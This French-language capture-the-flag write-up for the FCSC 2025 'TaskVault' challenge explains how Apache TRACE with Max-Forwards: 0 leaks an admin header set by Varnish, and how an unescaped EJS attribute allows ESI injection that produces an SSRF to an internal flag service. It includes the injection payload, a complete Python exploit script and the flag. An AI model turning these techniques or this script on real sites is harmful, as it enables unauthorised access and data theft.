FCSC 2025 - TaskVault
Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.
Analyse du code
Le code de cette application se compose de trois conteneurs Docker.
- Le premier est un conteneur Express.js qui fait tourner une application web permettant la gestion de tâches.
- Le deuxième est un conteneur Apache qui sert de reverse proxy vers l'application Express.js.
- Le troisième et dernier conteneur est un service Varnish, qui sert également de reverse proxy et faisant la distinction entre deux services: le host give_me_the_flag qui redirige vers un service donnant le flag, et un autre backend pour toutes les autres valeurs de host, représentant l'application de gestion de tâches.
Pour résumé, voilà un schéma avec toutes les redirections :

En se connectant sur le service, nous n'avons accès qu'à l'endpoint "root".
Cela s'explique par la surcouche sécuritaire ajoutée par Varnish, qui définit un header "X-Admin-Key" qui transite entre le service Varnish et serveur Express.js, en passant par le reverse proxy Apache.
Au début du code Express.js, le header est checké. S'il n'est pas présent, une erreur 403 est retournée.
// ...
app.use((req, res, next) => {
const adminKey = req.headers["x-admin-key"];
if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
return res.status(403).json({ error: "Unauthorized access" });
}
next();
});
// ...
Audit de configuration: Varnish
Côté Varnish, nous avons cet entrypoint:
/bin/cat > /etc/varnish/default.vcl << EOF
vcl 4.0;
backend default {
.host = "taskvault-apache2";
.port = "8000";
}
backend flag_backend {
.host = "taskvault-app";
.port = "1337";
}
sub vcl_backend_fetch {
if (bereq.http.host == "give_me_the_flag") {
set bereq.backend = flag_backend;
} else {
set bereq.backend = default;
}
}
sub vcl_recv {
if (req.url == "/" || req.url == "/favicon.jpeg") {
set req.http.X-Admin-Key = "${ADMIN_KEY}";
}
return(pass);
}
sub vcl_backend_response {
set beresp.do_esi = true;
}
EOF
exec varnishd -F -a :8000 -s malloc,256m -f /etc/varnish/default.vcl
Nous voyons ici plusieurs choses intéressantes :
- L'application n'applique le header "X-Admin-Key" que pour "/" et "/favicon.jpeg".
- L'application autorise l'ESI ("Edge Side Includes") pour toutes les réponses.
L'Edge Side Includes est un langage de balisage, similaire au HTML, pour l'assemblage de sites web dynamiques. Concrètement, nous pouvons nous servir de ce langage pour inclure le contenu d'un URL, depuis le serveur web. Si l'utilisateur peut injecter directement du langage ESI, cela peut permettre une SSRF (Server Side Request Forgery), une faille qui force le serveur web à effectuer une requête vers un site web.
Audit de configuration Apache
Concernant la configuration de Apache, elle est définie par :
ServerAdmin contact@fcsc.fr
ServerName fcsc.fr
<VirtualHost *:8000>
TraceEnable on
ProxyPass / http://taskvault-app:3000/
ProxyPassReverse / http://taskvault-app:3000/
</VirtualHost>
Il n'y a ici pas grand chose à auditer mais nous voyons ici une seule chose intéressante: la méthode "TRACE" est activée sur le reverse proxy.
La méthode "TRACE" sur Apache est une méthode utilisée notamment pour le debug. Elle entre autres de retourner à l'utilisateur la valeurs des en-têtes de la requête, de la réponse, etc... Ce genre de détails ne sont jamais laissés au hasard dans les CTF, il est donc surement nécessaire de l'exploiter pour potentiellement leaker les headers qui transitent par Apache.
Audit de l'application Express.js
Sur l'application, je recherche un endroit où les entrées utilisateur ne sont pas échappées et permettrait d'injecter du code ESI. Pour ce faire, je cherche dans les fichiers le motif "<%-" qui signifie que l'entrée n'est pas nettoyée, à contrario du "<%=".
Je trouve un match dans le fichier "views/backlog.ejs" :
$ grep -arin '<%-'
views/backlog.ejs:95: <h3 id="<%- note.title %>" class="text-xl font-bold text-gray-800 mb-2 mt-1"><%= note.title %></h3>
Ici, l'entrée de l'utilisateur correspondante au titre de la note est insérée dans le champ "id" de la balise mais elle n'est pas nettoyée. Ici, une injection ESI est possible du style :
"><esi:payload>
Exploitation
Dans un premier temps, il nous faut hijacker le header "X-Admin-Key". Pour ce faire, nous pouvons exploiter la vulnérabilité présente dans la configuration d'Apache, permettant l'utilisation de la méthode "TRACE". Je teste directement la méthode sur le serveur web :

Nous avons ici une erreur car Apache, recevant la requête "TRACE" la transfère à l'application Express.js, qui refuse la requête car la méthode n'est pas autorisée.
En fouillant la documentation Apache, je trouve une documentation sur le header "Max-Forwards": https://juneau.apache.org/site/apidocs-8.0.0/org/apache/juneau/http/MaxForwards.html.
Avec ce header, nous pouvons préciser le nombre de rebonds maximal qu'il est possible de faire pour une requête passant par des reverse proxy. En précisant cette valeur à 0, nous disons à Apache qu'il n'est plus possible de transférer la requête, et va donc nous répondre un code 200 avec les headers de la requête, transférée entre Varnish et Apache. Par exemple, nous pouvons l'exploiter ainsi pour hijacker le header Admin:

Maintenant que nous avons récupéré la valeur du "X-Admin-Key", nous pouvons faire une requête aux endpoints protégés comme register par exemple.

Je l'ai ajouté à mon navigateur Firefox avec une extension.

Ainsi, je peux maintenant accéder à la page d'inscription et créer un nouveau compte.

Une fois connecté, nous pouvons injecter une balise ESI dans le titre d'une nouvelle note, avec un payload, tel que donné plus haut. Nous allons donc injecter :
"><esi:include src="http://give_me_the_flag/" />
Une fois la note créée avec le payload en titre, on peut retrouver le flag dans l'id du titre de la note :

Maintenant que nous avons la marche à suivre, j'ai créé un script Python pour automatiser la récupération du flag. Le script est le suivant :
import requests
import random
URL = "https://taskvault.fcsc.fr"
def hijack_admin_key():
r = requests.request("TRACE", URL, headers={"Max-Forwards": "0"})
return r.text.split("X-Admin-Key: ")[1].split("\r\n")[0]
def register(admin_key):
data = {"username": ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(12)]), "password": "password"}
r = requests.post(URL+"/register", data=data, headers={"X-Admin-Key": admin_key}, allow_redirects=False)
return r.headers["Set-Cookie"].split(";")[0].split("=")[1]
def esi_injection(cookie, admin_key) -> None:
data = {"title": '"><esi:include src="http://give_me_the_flag/" />', "content": "ESI Injection"}
cookies = {"connect.sid": cookie}
r = requests.post(URL+"/backlog", data=data, cookies=cookies, headers={"X-Admin-Key": admin_key})
return "FCSC{" + r.text.split("FCSC{")[1].split("}")[0] + "}"
def solve():
admin_key = hijack_admin_key()
cookie = register(admin_key)
flag = esi_injection(cookie, admin_key)
print(f"[+] FLAG: {flag}")
if __name__ == "__main__":
solve()
Une fois le script terminé, il ne nous reste plus qu'à l'exécuter pour récupérer le flag.

FLAG:
FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}